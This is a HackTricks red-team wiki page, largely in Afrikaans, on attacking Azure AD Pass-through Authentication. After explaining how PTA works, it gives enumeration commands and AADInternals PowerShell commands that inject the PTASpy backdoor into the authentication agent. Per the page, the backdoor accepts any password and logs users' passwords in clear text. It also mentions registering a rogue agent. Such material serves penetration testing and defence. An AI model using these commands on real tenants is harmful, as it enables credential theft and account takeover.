Az - PTA - Pass-through Authentication

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basic Information

From the docs: Microsoft Entra pass-through authentication laat jou gebruikers toe om in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde. Hierdie funksie bied jou gebruikers ’n beter ervaring - een minder wagwoord om te onthou, en verminder IT-hulplijn koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory.

In PTA identiteite is gesinchroniseer maar wagwoorde is nie soos in PHS.

Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur ’n verifikasie-agent wat op ’n plaaslike bediener loop (dit hoef nie op die plaaslike DC te wees nie).

Authentication flow

  1. Om te log in word die gebruiker herlei na Azure AD, waar hy die gebruikersnaam en wagwoord stuur
  2. Die bewyse word geënkripteer en in ’n ry in Azure AD gestel
  3. Die plaaslike verifikasie-agent versamel die bewyse uit die ry en dekripteer dit. Hierdie agent word “Pass-through authentication agent” of PTA agent genoem.
  4. Die agent valideer die bewys teen die plaaslike AD en stuur die antwoord terug na Azure AD wat, indien die antwoord positief is, die inlog van die gebruiker voltooi.

Warning

As ’n aanvaller die PTA kompromitteer, kan hy die alle bewyse uit die ry sien (in duidelike teks).
Hy kan ook enige bewys na die AzureAD valideer (soortgelyke aanval op Skeleton key).

Enumeration

From Entra ID:

az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

Kontroleer of die agent op die on-prem bediener loop:

Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

As jy admin toegang het tot die Azure AD Connect server met die PTA agent wat loop, kan jy die AADInternals module gebruik om ’n backdoor te invoeg wat AL die wagwoorde wat ingevoer word, sal valideer (sodat al die wagwoorde geldig sal wees vir autentisering):

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

Note

As die installasie misluk, is dit waarskynlik as gevolg van ontbrekende Microsoft Visual C++ 2015 Redistributables.

Hierdie backdoor sal:

  • ’n Versteekte gids C:\PTASpy skep
  • ’n PTASpy.dll na C:\PTASpy kopieer
  • PTASpy.dll in die AzureADConnectAuthenticationAgentService proses inspuit

Note

Wanneer die AzureADConnectAuthenticationAgent diens herbegin word, word PTASpy “ontlaai” en moet dit weer geïnstalleer word.

Caution

Nadat GA bevoegdhede op die wolk verkry is, is dit moontlik om nuwe PTA-agent te registreer en kan die vorige stappe herhaal word om te autentiseer met enige wagwoord en ook, die wagwoorde in duidelike teks te verkry.

Seamless SSO

Dit is moontlik om Seamless SSO met PTA te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:

Az - Seamless SSO

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks